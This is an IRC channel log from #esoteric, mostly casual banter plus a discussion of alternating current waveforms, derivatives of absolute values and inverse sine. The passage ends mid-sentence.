< 1269615757 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1269618486 0 :MigoMipo!~migomipo@84-217-1-143.tn.glocalnet.net JOIN :#esoteric < 1269618818 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269619562 0 :oklopol!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1269619758 0 :BeholdMyGlory!~behold@d83-183-183-70.cust.tele2.se JOIN :#esoteric < 1269619761 0 :BeholdMyGlory!unknown@unknown.invalid QUIT :Changing host < 1269619761 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1269621349 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1269621963 0 :Oranjer!~HP_Admini@adsl-71-7-92.cae.bellsouth.net JOIN :#esoteric < 1269622229 0 :lereah_!unknown@unknown.invalid QUIT :Quit: Leaving < 1269622930 0 :MigoMipo!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269623073 0 :MigoMipo!~migomipo@84-217-1-143.tn.glocalnet.net JOIN :#esoteric < 1269623431 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1269624250 0 :pikhq!~pikhq@75-106-123-198.cust.wildblue.net JOIN :#esoteric < 1269624310 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Kikcking router in shins = WORKING! < 1269624319 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :routers have shins? < 1269624329 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Do now. < 1269625537 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :`define mephitic < 1269625591 0 :HackEgo!unknown@unknown.invalid PRIVMSG #esoteric :* miasmic: of noxious stench from atmospheric pollution \ [15]wordnetweb.princeton.edu/perl/webwn \ * Avernus was an ancient name for a crater near Cumae (Cuma), Italy in the Region of Campania west of Naples. It is approximately 2 miles in circumference. Within the crater is Lake Avernus (Lago d'Averno). < 1269626452 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1269626663 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : Kikcking router in shins = WORKING! <-- wow < 1269626676 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, would that be in like the ethernet sockets? < 1269626716 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Nah. < 1269626722 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :You let it grow legs. < 1269626729 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :okay < 1269626732 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :then ? < 1269626784 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, just kicking it? < 1269626790 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :no more steps in between?! < 1269626807 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Then you kick it. < 1269626809 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :huh, I newer knew it was _that_ simple < 1269627064 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Reboot < 1269627234 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1269628263 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269628606 0 :Slereah!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1269629009 0 :Slereah!~Slereah@ANantes-259-1-16-150.w92-135.abo.wanadoo.fr JOIN :#esoteric < 1269629790 0 :Phantom_Hoover!~chatzilla@cpc4-sgyl29-2-0-cust108.sgyl.cable.virginmedia.com JOIN :#esoteric < 1269629902 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :CURSE YOU, TIME ZONE DIFFERENCES! < 1269629972 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh no, you cursed the time zone differences! < 1269629987 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i predict they will take a horrible revenge! < 1269630012 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :before this weekend is over, even! < 1269630015 0 :Sgeo_!~Sgeo@ool-18bf618a.dyn.optonline.net JOIN :#esoteric < 1269630118 0 :Sgeo!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1269630402 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1269630521 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION loves when he randomly disconnects!
< 1269630525 0 :Sgeo_!unknown@unknown.invalid PRIVMSG #esoteric :Love it love it love it! < 1269630546 0 :Sgeo_!unknown@unknown.invalid NICK :Sgeo < 1269630898 0 :sebbu2!~sebbu@ADijon-152-1-56-78.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1269630964 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1269630964 0 :sebbu2!unknown@unknown.invalid NICK :sebbu < 1269631746 0 :dixon!~dixon@unaffiliated/reikon JOIN :#esoteric < 1269631818 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Hey Sgeo < 1269631823 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Hi < 1269631831 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :What's up? < 1269631854 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Not much < 1269631859 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Thinking about cryonics a bit < 1269631931 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :What about it? < 1269631940 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :That's... cool. < 1269631944 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :It strikes me as far too faith-based. < 1269631989 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :The notion of freezing is faith-based? < 1269632027 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :No, the notion that medical technology will be able to revive you. < 1269632056 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Hey, that's cold. < 1269632061 0 :dixon!unknown@unknown.invalid PRIVMSG #esoteric :Doctors are smart. < 1269632073 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes, well. Faith IN TECHNOLOGY! < 1269632075 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric ::P < 1269632083 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :But dammit, they're doctors, not miracle workers! < 1269632101 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Dammit Jim! < 1269632151 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :anyway, don't do it this way: http://www.darwinawards.com/personal/personal2000-25.html < 1269632186 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Delicious, delicious cryonic nitrogen. < 1269632190 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Ah, the Darwin awards. < 1269632196 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :A tale for every situation. < 1269632221 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Although it seems the character encoding doesn't work properly... < 1269632227 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :this one was on today's reddit frontpage < 1269632230 0 :wareya!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1269633130 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION wishes he never had to use Firefox
< 1269633166 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : before this weekend is over, even! <-- oh no < 1269633170 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the end of the world is near < 1269633178 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION stockpiles stuff
< 1269633189 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION stockpiles AnMasters
< 1269633194 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :how? < 1269633198 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I mean, there is just one of me < 1269633213 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you can't stockpile anything that there is just one of < 1269633469 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well, he could try folding you < 1269633754 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1269633786 0 :sebbu!~sebbu@ADijon-152-1-30-184.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1269633891 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, eh? < 1269633905 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, how would that result in more than one of me? < 1269634041 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :always doubting are you < 1269634053 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :im just here to buy some soy sauce < 1269634095 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION hopes he can program despite using a trackpad
< 1269634101 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Too lazy to sit up at the table next to my bed < 1269634155 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, yes! < 1269634186 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, why do you need anything but a printer (alternatively a monitor) and a keyboard? < 1269634201 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fax: old meme which i've never heard before is old < 1269634228 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Easy to move cursor for cut/paste < 1269634276 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: wait, you use a printer rather than a monitor? < 1269634303 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, no < 1269634308 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, did I say I did? < 1269634329 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: it was your first alternative, above < 1269634333 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo, mhm, I never found programming without a mouse to be a problem < 1269634356 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1269634360 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, well yes. I wish I had one of those oldstyle hard copy terminals < 1269634362 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION doesn't use a mouse. admittedly he doesn't program much either.
< 1269634379 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, I use a mouse when image editing for example < 1269634390 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :a trackpoint really isn't very good for that < 1269634396 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :a touchpad even less so < 1269634409 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :mhm < 1269634421 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, in general touchpad are useless I find < 1269634428 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :trackpoint is fairly usable but a mouse is better < 1269634437 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but for programming I find I only use the keyboard < 1269634462 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION recalls nearly 30 years ago, when my dad borrowed home such a terminal from the job
< 1269634483 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wow, I would love to see one in "reality" < 1269634518 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :we connected to the mainframe via the phone, and used BASIC on it < 1269634527 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1269634544 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, I was rather thinking about connecting to something at MIT that ran lisp < 1269634602 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i'm not sure if the internet had reached scandinavia yet... < 1269634649 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :true < 1269634689 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, actually Norway was the first place in Europe (and iirc outside US too, but not completely sure about that) to get ARPANET < 1269634703 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that does ring a bell < 1269634881 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION rings a bell for Oerjan's skae
< 1269634883 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Sake, even. < 1269634927 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION rings a bell for pikhq's skate
< 1269634973 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION rings a bell for AnMaster's steak
< 1269635003 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION stakes oerjan with a very pointed bell
< 1269635011 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :ouch < 1269635038 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :made of silver. < 1269635045 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :fancy < 1269635077 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, well, it offers both werewolf and vampire protection that way. < 1269635088 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :brains.. < 1269635104 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm what is effective against zombies? < 1269635124 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION lurks toward AnMaster
< 1269635128 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION gives oerjan some plush brains
< 1269635138 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(says made in china on them) < 1269635170 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION beams away to a badly rendered space ship (TOS)
< 1269635181 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION thinks they taste like soy
< 1269635211 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :strange < 1269635216 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION reverses the polarity
< 1269635230 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ooh that made it go faster < 1269635231 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :thanks < 1269635241 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :which is trange < 1269635243 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :strange* < 1269635247 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since it is alternating current < 1269635305 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's just a phase(r) < 1269635318 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what is? < 1269635324 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the warp drive? < 1269635331 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that was what you reversed polarity of < 1269635336 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :the current reversal < 1269635337 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :the mains to it < 1269635390 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :reversing the polarity should be a pi radians face shift, no? < 1269635393 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*phase < 1269635446 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, that only makes sense assuming sinusoidal current < 1269635467 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION thought alternating current was sinusoidal
< 1269635472 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it often is < 1269635475 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but it may not be < 1269635496 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :what matters is that it is alternating. < 1269635524 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh well < 1269635556 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, but sinusoidal is the far most common one I think < 1269635666 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, I'm surprised you didn't ask me what I meant with alternating < 1269635671 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :but I shall tell you anyway < 1269635690 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :nooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo < 1269635691 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it means it oscillates across zero. < 1269635709 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :you can have square wave shape for example < 1269635715 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or triangular < 1269635723 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1269635743 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Or pentagonal. < 1269635749 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Maybe. < 1269635755 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, how would that look like < 1269635761 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I have a hard time imagining it < 1269635766 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, hexagonal makes more sense. < 1269635773 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and with triangular I mean \/\/\/ style < 1269635779 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1269635779 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not /_\ < 1269635789 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(because that wouldn't make any sense) < 1269635801 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Perhaps pentagonal would be like triangular, but with less sloping. < 1269635817 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Or perhaps the wave would go back in time at some points. < 1269635868 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, btw in electrical engineering it seems common to mix radians and degrees. I have seen stuff like: u(t) = 4sin(50*2*pi*t + 45°) stuff, where (if your unicode is still broken) the thing after 45 is a degree sign < 1269635901 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, hm < 1269635917 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric : ^ < 1269635919 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :/ \ < 1269635920 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :\ / < 1269635922 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric : / < 1269635923 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric : \ < 1269635925 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Or somesuch. < 1269635926 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :argh < 1269635937 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Too much space? Sorry. < 1269635942 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, that is not a function of either x or y < 1269635943 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::/ < 1269635960 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :The drawing is awful... < 1269635963 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :true < 1269635963 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :degree signs are fine < 1269635995 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, but mixing them in one expression? Since the "50*2*pi" stuff is in radians < 1269636012 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :There was a signal generator at our electronics lab that reset the wave shape (from triangle to sine or the other way around) when you changed some other settings. Ruined our otherwise accurate magnetic field -related measurements, though we got the report accepted by doing some integration; the change in shape translated into a fixed fudge factor in whatever it was we were supposed to measure. < 1269636014 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :How is a triangle wave a function of x or y, unless you use stuff like absolute values. < 1269636045 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(Actually it might even have been square.) < 1269636050 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, oh also that would be: 4*e^(j45°) (you can usually ignore the factor that t is multiplied with if you are working with a single frequency iirc) < 1269636053 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION swats Phantom_Hoover -----###
< 1269636064 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :absolute values are perfectly good functions! < 1269636066 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, there are two things to annoy you there. j for imaginary unit < 1269636068 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION whimpers.
< 1269636071 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and degrees in exponential form < 1269636098 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Can you even differentiate functions with absolutes? < 1269636110 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well ° = pi/180 < 1269636118 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, everywhere except in the point 0 < 1269636128 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or wherever the tip is < 1269636130 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's not exactly logically inconsistent < 1269636145 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(I mean, it would obviously not be in 0 if you did |x+1|) < 1269636163 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :But if we have y=|x|, what is dy/dx? < 1269636166 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: not into functions, no. who says all functions have to be differentiable? < 1269636184 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :No-one, but it irks me. < 1269636187 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, would you treat division as a function then? < 1269636189 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :as in < 1269636191 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :1/x perhaps < 1269636195 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yes lets take that one < 1269636199 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :however there is something called distributions, corresponding to such differentials and stuff < 1269636209 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and you more or less indicated above that sin() is a function from your point of view < 1269636218 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, now differentiate sin(1/x) :P < 1269636237 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :in fact, I want to know the value of it in x=0 < 1269636249 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :of (dx/dy that is) < 1269636257 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Of course, it's undefined at 0. < 1269636267 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, and so is the limit < 1269636277 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: more importantly, absolute values are continuous and so triangle waves have perfectly good fourier series < 1269636291 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The square wave shape is, I think, even worse than the triangle. At least the / and \ slopes of a triangle have a different derivatives; for the square it's just 0 everywhere where it plays nice, and then there's that horreeble jump. < 1269636340 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :indeed the differential of a triangle wave is intuitively a square one... < 1269636352 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hah nice < 1269636437 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Re the pentagonal wave, what's specifically wrong with it? < 1269636505 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I don't really know about this stuff. < 1269636507 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The fact that it has multiple values at a single time? < 1269636507 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well nothing really < 1269636513 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yeah what fizzie said < 1269636521 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: so does y=sqrt(x). < 1269636526 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1269636527 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, no it doesn't < 1269636532 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :because sqrt is always the positive one < 1269636540 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that is why you put the "plus or minus" in front of it < 1269636551 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :if it wasn't you wouldn't need that "plus or minus" symbol < 1269636555 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :sin-1x? < 1269636563 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, ? < 1269636570 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Inverse sin? < 1269636570 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sin of what? < 1269636572 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover: not a function < 1269636578 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :There's a pentagonal wave? < 1269636586 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, inverse of sinus is only defined for a limited range < 1269636587 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: we could invent one < 1269636597 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, and it only maps to a limited range < 1269636599 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: No, I just thought of it in a fit of insanity. < 1269636618 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I have been *lied* to, then. < 1269636637 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, well it is done in order to make it a function < 1269636665 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Phantom_Hoover, however in calculations like sin(x) = 4 you need to remember the extra posibilities < 1269636670 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and thus would write something like < 1269636681 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :actually wait < 1269636683 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :that won't work < 1269636684 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :You could call the pretty boring _/''\_ -style wave, with the slope angle of 72 degrees, a pentagonal wave; it's not like the triangle wave has more than two edges of the triangle either. < 1269636686 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :change that equation to: < 1269636693 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sin(x) = 0.5 < 1269636758 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :x = arcsin(0.5) + pi * n (n in Z) < 1269636759 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or whatever < 1269636770 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I forgot what the repetition rate was < 1269636793 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Yeah, it's pi. < 1269636797 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :I think. < 1269636808 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I get negative value there, mhm < 1269636813 0 :Phantom_Hoover!unknown@unknown.invalid PRIVMSG #esoteric :Can the "I think" after everything I say just be implicit? < 1269636814 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so something is off < 1269636843 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it's 2pi, but you need two values in that interval < 1269636876 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :x and pi-x < 1269636880 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ah right < 1269636891 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, was it cos that had the simpler one? < 1269636910 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :x and -x < 1269636951 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :sin (-x) = -sin x, cos (-x) = cos x < 1269636959 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right < 1269636967 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, It isn't something I use very often < 1269636985 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :me neither < 1269636986 0 :Gracenotes!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1269637171 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oerjan, I find the difference between mathematics and applied mathematics amusing sometimes < 1269637186 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :like math teachers telling us to always remember the "plus or minus" when taking square root < 1269637230 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and then when you actually use it you quite often don't need to remember that, because one is absurd (like you can't have a negative ratio between the number of turns in a transformer) < 1269637273 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :well as long as you're positive about it < 1269637278 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hah < 1269637324 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: sin x = 4 "works" if you let x be complex; 